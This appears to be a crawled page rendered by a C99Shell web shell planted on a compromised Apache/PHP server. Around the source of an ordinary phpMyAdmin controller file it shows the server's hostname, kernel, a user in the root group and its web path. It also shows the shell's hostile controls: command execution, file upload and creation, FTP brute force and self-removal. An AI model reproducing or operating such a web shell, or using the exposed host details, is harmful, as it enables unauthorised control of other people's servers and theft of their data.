!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Database/Structure/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CopyTableWithPrefixController.php (1.72 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Database\Structure;

use 
PhpMyAdmin\Controllers\Database\AbstractController;
use 
PhpMyAdmin\Controllers\Database\StructureController;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Table;
use 
PhpMyAdmin\Template;

use function 
count;
use function 
mb_strlen;
use function 
mb_substr;

final class 
CopyTableWithPrefixController extends AbstractController
{
    
/** @var StructureController */
    
private $structureController;

    public function 
__construct(
        
ResponseRenderer $response,
        
Template $template,
        
string $db,
        
StructureController $structureController
    
) {
        
parent::__construct($response$template$db);
        
$this->structureController $structureController;
    }

    public function 
__invoke(): void
    
{
        global 
$db$message;

        
$selected $_POST['selected'] ?? [];
        
$fromPrefix $_POST['from_prefix'] ?? null;
        
$toPrefix $_POST['to_prefix'] ?? null;

        
$selectedCount count($selected);

        for (
$i 0$i $selectedCount$i++) {
            
$current $selected[$i];
            
$newTableName $toPrefix mb_substr($currentmb_strlen((string) $fromPrefix));

            
Table::moveCopy(
                
$db,
                
$current,
                
$db,
                
$newTableName,
                
'data',
                
false,
                
'one_table',
                isset(
$_POST['drop_if_exists']) && $_POST['drop_if_exists'] === 'true'
            
);
        }

        
$message Message::success();

        if (empty(
$_POST['message'])) {
            
$_POST['message'] = $message;
        }

        (
$this->structureController)();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--